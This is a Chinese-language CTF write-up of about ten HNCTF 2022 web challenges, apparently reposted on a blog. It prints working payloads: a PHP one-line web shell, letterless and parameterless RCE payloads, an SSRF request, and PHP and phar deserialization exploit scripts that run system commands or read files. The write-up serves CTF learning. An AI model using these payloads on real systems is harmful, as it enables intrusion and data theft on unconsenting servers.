[HNCTF 2022] web 刷题记录

2024-02-10 04:50
文章标签 记录 web 刷题 2022 hnctf

本文主要是介绍[HNCTF 2022] web 刷题记录,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

    • [HNCTF 2022 Week1]easy_html
    • [HNCTF 2022 Week1]easy_upload
    • [HNCTF 2022 Week1]Interesting_http
    • [HNCTF 2022 Week1]Challenge__rce
    • [HNCTF 2022 WEEK2]ez_SSTI
    • [HNCTF 2022 WEEK2]ez_ssrf
    • [HNCTF 2022 WEEK2]Canyource
    • [HNCTF 2022 WEEK2]easy_unser
    • [HNCTF 2022 WEEK4]pop子和pipi美
    • [HNCTF 2022 WEEK3]ez_phar


[HNCTF 2022 Week1]easy_html

打开题目提示cookie有线索
在这里插入图片描述
访问一下url
发现要求我们输入手机号,可是只能输10位
F12查看,修改一下maxlength的值为11位
在这里插入图片描述然后随便输入11位,即可得到flag
在这里插入图片描述

[HNCTF 2022 Week1]easy_upload

创建1.php,写入一句话木马

<?php @eval($_POST['shell']);?>

上传成功
在这里插入图片描述访问./upload/1.php,然后ls看一下目录
在这里插入图片描述得到flag
在这里插入图片描述

[HNCTF 2022 Week1]Interesting_http

根据提示,传一个我们想要的,那就传flag咯
然后是修改cookie为admin,添加X-Forwarded-For:127.0.0.1
然后让我们选择要哪个,这里发现l变成了大写的i(一直没发现。。)
得到flag

在这里插入图片描述

[HNCTF 2022 Week1]Challenge__rce

打开题目,F12提示上传参数hint,得到源码

<?php
error_reporting(0);
if (isset($_GET['hint'])) {highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {$rce = $_POST['rce'];if (strlen($rce) <= 120) {if (is_string($rce)) {if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {eval($rce);} else {echo("Are you hack me?");}} else {echo "I want string!";}} else {echo "too long!";}
} 

分析一下,这里看完滤条件,考点就是无字母rce,同时禁用了^%,那么不能用取反和异或。
这里采用的是自增构造;由于长度限制小于120
payload

rce=$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);//长度118    等效于$_GET[1]($_GET[2])

hint随便一个值,然后1和2对应函数和执行命令

在这里插入图片描述得到flag
在这里插入图片描述

[HNCTF 2022 WEEK2]ez_SSTI

先试试

?name={{7*7}}

在这里插入图片描述发现成功,猜测是Jinja2

[HNCTF 2022 WEEK2]ez_ssrf

源代码

 <?phphighlight_file(__FILE__);
error_reporting(0);$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {die();
}
else {fwrite($fp,$data);while(!feof($data)){echo fgets($fp,128);}fclose($fp);
} 

简单分析一下,fsockopen能够使用socket与服务器进行tcp连接,并传输数据,host、port和数据都能定义,存在SSRF
扫一下目录,发现有./flag.php
在这里插入图片描述提示本地127.0.0.1和80端口
这里应该是从index.php传参,ssrf然后访问到flag.php
将data值base64编码一下
在这里插入图片描述

payload

?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

得到flag
在这里插入图片描述

[HNCTF 2022 WEEK2]Canyource

源代码

 <?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    eval($_GET['code']);}
elsedie('nonono');}
elseecho('please input code');
?>

分析一下,可以发现是无参rce,同时过滤的不算严重。
我们利用无参函数构造

payload

?code=eval(end(current(get_defined_vars())));&a=system("cat flag.php");

得到flag
在这里插入图片描述

[HNCTF 2022 WEEK2]easy_unser

源码

<?php include 'f14g.php';error_reporting(0);highlight_file(__FILE__);class body{private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";public function  __construct($want){$About_me = "When the object is created,I will be called";if($want !== " ") $this->want = $want;else $this->want = $this->todonothing;}function __wakeup(){$About_me = "When the object is unserialized,I will be called";$but = "I can CHANGE you";$this-> want = $but;echo "C1ybaby!";}function __destruct(){$About_me = "I'm the final function,when the object is destroyed,I will be called";echo "So,let me see if you can get what you want\n";if($this->todonothing === $this->want)die("鲍勃,别傻愣着!\n");if($this->want == "I can CHANGE you")die("You are not you....");if($this->want == "f14g.php" OR is_file($this->want)){die("You want my heart?No way!\n");}else{echo "You got it!";highlight_file($this->want);}}
}class unserializeorder{public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";function __sleep(){$About_me = "When the object is serialized,I will be called";echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";}function __toString(){$About_me = "When the object is used as a string,I will be called";return $this->CORE;}}$obj = new unserializeorder();echo $obj;$obj = serialize($obj);if (isset($_GET['ywant'])){$ywant = @unserialize(@$_GET['ywant']);echo $ywant;}
?> 

简单分析一下,我们可以修改属性数目绕过_wakeup方法,然后 __construct进行弱比较,利用若有一方为数字,另一方为字符串或空或null,均会先将非数字一方转化为0,再做比较,所以可以绕过。最后是 __destruct的if语句。

我们的思路是利用高光函数highlight_file()结合php伪协议读取本地文件
exp

<?php 
class body{private $want = "php://filter/resource=f14g.php";private $todonothing = "123456";
}$a=new body();
echo urlencode(serialize($a));
?>

得到字符串

O%3A4%3A%22body%22%3A2%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A30%3A%22php%3A%2F%2Ffilter%2Fresource%3Df14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bs%3A6%3A%22123456%22%3B%7D

注意要将属性数目加一
上传得到flag
在这里插入图片描述

[HNCTF 2022 WEEK4]pop子和pipi美

源码

<?php
error_reporting(0);
//flag is in f14g.php
class Popuko {private $No_893;public function POP_TEAM_EPIC(){$WEBSITE  = "MANGA LIFE WIN";}public function __invoke(){$this->append($this->No_893);}public function append($anti_takeshobo){include($anti_takeshobo);}
}class Pipimi{public $pipi;public function PIPIPMI(){$h = "超喜欢POP子ww,你也一样对吧(举刀)";}public function __construct(){echo "Pipi美永远不会生气ww";$this->pipi = array();}public function __get($corepop){$function = $this->p;return $function();}
}
class Goodsisters{public function PopukoPipimi(){$is = "Good sisters";}public $kiminonawa,$str;public function __construct($file='index.php'){$this->kiminonawa = $file;echo 'Welcome to HNCTF2022 ,';echo 'This is '.$this->kiminonawa."<br>";}public function __toString(){return $this->str->kiminonawa;}public function __wakeup(){if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {echo "仲良ピース!";$this->kiminonawa = "index.php";}}
}if(isset($_GET['pop'])) @unserialize($_GET['pop']);  else{$a=new Goodsisters;if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){highlight_file(__FILE__);echo '欸嘿,你也喜欢pop子~对吧ww';}
} 

简单分析一下,利用点就是伪协议读取文件
pop链子

Goodsisters.__construct() --> Goodsisters.__toString() --> Pipimi.__get() --> Popuko.__invoke() --> Popuko.append()

exp

<?php
class Popuko {private $No_893;public function __construct(){$this->No_893 ="php://filter/read/convert.base64-encode/resource=f14g.php";}
}class Pipimi{public $pipi;}
class Goodsisters{public $kiminonawa,$str;}$a=new Goodsisters();
$b=new Pipimi();
$c=new Popuko();
$a->kiminonawa=$a;
$a->str=$b;
$b->p=$c;
echo urlencode(serialize($a));
?>

注:这里由于$No_893属性为private,所以我们可以用construct去赋值;然后就是payload里的$a->kiminonawa=$a要注意一下。

得到flag
在这里插入图片描述

[HNCTF 2022 WEEK3]ez_phar

考点:phar反序列化

源码

<?php
show_source(__FILE__);
class Flag{public $code;public function __destruct(){// TODO: Implement __destruct() method.eval($this->code);}
}
$filename = $_GET['filename'];
file_exists($filename);
?>

可以看到有file_exists()函数,可以利用phar反序列化

exp如下

<?php
class Flag{public $code;
}$a=new Flag();
$a->code="system('cat /ffflllaaaggg');";
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

然后访问./upload.php,发现只能上传jpg,修改下后缀
上传成功后,phar伪协议读取,得到flag
在这里插入图片描述

这篇关于[HNCTF 2022] web 刷题记录的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/696166

相关文章

Python获取中国节假日数据记录入JSON文件

《Python获取中国节假日数据记录入JSON文件》项目系统内置的日历应用为了提升用户体验,特别设置了在调休日期显示“休”的UI图标功能,那么问题是这些调休数据从哪里来呢?我尝试一种更为智能的方法:P... 目录节假日数据获取存入jsON文件节假日数据读取封装完整代码项目系统内置的日历应用为了提升用户体验,

Spring Boot 配置文件之类型、加载顺序与最佳实践记录

《SpringBoot配置文件之类型、加载顺序与最佳实践记录》SpringBoot的配置文件是灵活且强大的工具,通过合理的配置管理,可以让应用开发和部署更加高效,无论是简单的属性配置,还是复杂... 目录Spring Boot 配置文件详解一、Spring Boot 配置文件类型1.1 applicatio

JSON Web Token在登陆中的使用过程

《JSONWebToken在登陆中的使用过程》:本文主要介绍JSONWebToken在登陆中的使用过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录JWT 介绍微服务架构中的 JWT 使用结合微服务网关的 JWT 验证1. 用户登录,生成 JWT2. 自定义过滤

一文教你如何将maven项目转成web项目

《一文教你如何将maven项目转成web项目》在软件开发过程中,有时我们需要将一个普通的Maven项目转换为Web项目,以便能够部署到Web容器中运行,本文将详细介绍如何通过简单的步骤完成这一转换过程... 目录准备工作步骤一:修改​​pom.XML​​1.1 添加​​packaging​​标签1.2 添加

MySQL INSERT语句实现当记录不存在时插入的几种方法

《MySQLINSERT语句实现当记录不存在时插入的几种方法》MySQL的INSERT语句是用于向数据库表中插入新记录的关键命令,下面:本文主要介绍MySQLINSERT语句实现当记录不存在时... 目录使用 INSERT IGNORE使用 ON DUPLICATE KEY UPDATE使用 REPLACE

Python 中的异步与同步深度解析(实践记录)

《Python中的异步与同步深度解析(实践记录)》在Python编程世界里,异步和同步的概念是理解程序执行流程和性能优化的关键,这篇文章将带你深入了解它们的差异,以及阻塞和非阻塞的特性,同时通过实际... 目录python中的异步与同步:深度解析与实践异步与同步的定义异步同步阻塞与非阻塞的概念阻塞非阻塞同步

Python Dash框架在数据可视化仪表板中的应用与实践记录

《PythonDash框架在数据可视化仪表板中的应用与实践记录》Python的PlotlyDash库提供了一种简便且强大的方式来构建和展示互动式数据仪表板,本篇文章将深入探讨如何使用Dash设计一... 目录python Dash框架在数据可视化仪表板中的应用与实践1. 什么是Plotly Dash?1.1

Spring Boot中定时任务Cron表达式的终极指南最佳实践记录

《SpringBoot中定时任务Cron表达式的终极指南最佳实践记录》本文详细介绍了SpringBoot中定时任务的实现方法,特别是Cron表达式的使用技巧和高级用法,从基础语法到复杂场景,从快速启... 目录一、Cron表达式基础1.1 Cron表达式结构1.2 核心语法规则二、Spring Boot中定

国内环境搭建私有知识问答库踩坑记录(ollama+deepseek+ragflow)

《国内环境搭建私有知识问答库踩坑记录(ollama+deepseek+ragflow)》本文给大家利用deepseek模型搭建私有知识问答库的详细步骤和遇到的问题及解决办法,感兴趣的朋友一起看看吧... 目录1. 第1步大家在安装完ollama后,需要到系统环境变量中添加两个变量2. 第3步 “在cmd中

web网络安全之跨站脚本攻击(XSS)详解

《web网络安全之跨站脚本攻击(XSS)详解》:本文主要介绍web网络安全之跨站脚本攻击(XSS)的相关资料,跨站脚本攻击XSS是一种常见的Web安全漏洞,攻击者通过注入恶意脚本诱使用户执行,可能... 目录前言XSS 的类型1. 存储型 XSS(Stored XSS)示例:危害:2. 反射型 XSS(Re